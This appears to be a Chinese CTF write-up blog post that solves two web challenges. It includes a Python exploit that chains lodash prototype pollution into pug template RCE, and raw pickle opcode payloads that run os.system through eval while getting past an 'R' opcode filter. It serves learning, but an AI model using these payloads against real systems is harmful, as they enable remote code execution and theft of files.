EZJS
一点都不ez,看了一下午还是没做出来,感觉要被开了,以前没咋遇到过js的原型链污染,现学了一下原理但还是没找不到链,属实自己的js水平太烂了。
这里用到的原型链污染原理参考:https://paper.seebug.org/1426/#_1
pug的rce漏洞原理参考:https://github.com/pugjs/pug/issues/3312
题解
随便登录后可以在newimg
发现文件读取。可以先读取package.json
,package-lock.json
看看版本。
lodash
<4.17.17时存在原型链污染漏洞,pug有rce命令执行。看一下index.js
源码,核心部分如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| router.get('/admin', function(req, res, next) {
if (req.session.username !== undefined && req.session.isadmin !== undefined) {
if (req.query.newimg !== undefined) req.session.img = req.query.newimg;
var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png"); var base64data = Buffer.from(imgdata, 'binary').toString('base64');
var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑v0.0.0(尚处于开发版"};
if (req.session.isadmin !== "notadmin") {
if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p; if (req.query.diy !== undefined) req.session.diy = req.query.diy; info.diy = req.session.diy ? req.session.diy: "尊贵的admin"; return res.render('admin', info); } else { return res.render('admin', info); } } else { return res.render('msg', {title: 'error', msg: 'plz login first'}); } });
|
这个地方就是可以读取源码的漏洞原因。
往下看,判断req.session.isadmin !== "notadmin"
,然后的判断是关键。这里需要将req.session.debug
污染成空值或其他的满足条件的来绕过,然后就可以利用pug
的RCE来执行命令。
这里需要注意的是参考文章里面的payload
中存在转义号,这是因为那个里面用了json
解析,则要用转义号转移引号,这里则不需要。
exp:
| import requests url="http://localhost:5000/" session=requests.session() session.post(url+'login',data={ "username":'a'*26, "password":'b'*26 }) payload={'"].__proto__["isadmin': '123', '"].__proto__["debug': '123'} r=session.get(url+'admin',params={ "p":"');return process.mainModule.constructor._load('child_process').execSync('tac /root/flag.txt');_=('" },data=payload) print(r.text)
|
中间很多自己node搭环境调试的过程就懒得贴了,总结一下编程代码功底还是最基础的东西呀!!!
opcode
考的是pickle
的知识
参考:https://www.freebuf.com/articles/web/264363.html
https://zhuanlan.zhihu.com/p/361349643
pickle.dumps
将对象反序列化为字符串,pickle.dump
将反序列化后的字符串存储为文件。
pickle.loads()
对象反序列化 pickle.load()
对象反序列化,从文件中读取数据。
看一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from flask import Flask from flask import request from flask import render_template from flask import session import base64 import pickle import io import builtins
class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'} def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def loads(data): return RestrictedUnpickler(io.BytesIO(data)).load()
app = Flask(__name__)
app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"
@app.route('/admin', methods = ["POST","GET"]) def admin(): if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'): return "not admin" try: data = base64.b64decode(session['data']) if "R" in data.decode(): return "nonono" pickle.loads(data) except Exception as e: print(e) return "success"
@app.route('/login', methods = ["GET","POST"]) def login(): username = request.form.get('username') password = request.form.get('password') imagePath = request.form.get('imagePath') session['username'] = username + password session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0)) try: f = open(imagePath,'rb').read() except Exception as e: f = open('static/image/error.png','rb').read() imageBase64 = base64.b64encode(f) return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))
@app.route('/', methods = ["GET","POST"]) def index(): return render_template("index.html") if __name__ == '__main__': app.run(host='0.0.0.0', port='8888')
|
这题的代码和一些题目的重复度较高,借鉴了Code-Breaking2018 picklecode,再套了一个XCTF抗疫赛 webtmp的opcode。限制了必须是builtins模块和一个黑名单过滤然后多过滤了一个’R’操作符,但是仔细看可以发现,根本没有用到自己定义的loads方法,直接使用了pickle,.loads()
相当于根本没有过滤,从这样看的话就直接随便构造了直接弹shell都可以了,下面按照题目的预期解来看一下。
其实拿Code-Breaking
的payload改一下即可,用o操作符来替换R操作符即可,原payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| cbuiltins getattr p0 (cbuiltins dict S'get' tRp1 cbuiltins globals )Rp2 00g1 (g2 S'builtins' tRp3 0g0 (g3 S'eval' tR(S'__import__("os").system("whoami")' tR.
|
对比一下几个操作符的区别。
R |
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 |
R |
函数和参数出栈,函数的返回值入栈 |
无 |
o |
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) |
o |
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
无 |
i |
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) |
i[module]\n[callable]\n |
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
无 |
0 |
丢弃栈顶对象 |
0 |
栈顶对象被丢弃 |
无 |
这里可以看出来,将R改成o需要将MARK的位置修改到要执行的函数前,并且还要去掉t操作符,0操作符其实可要可不要,加上的话逻辑更清晰
修改后payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| (cbuiltins getattr p0 cbuiltins dict S'get' op1 (cbuiltins gloabals op2 S'__builtins__' op3 (g0 g3 S'eval' op4 (g4 S'__import__("os").system("dit")' o.
|
测试了一下,有时候windows上的payload也不一定能在linux上运行。
what pickle
和前面的题目有些类似了,也是先读源码,考的也是pickle,看看wp就行吧。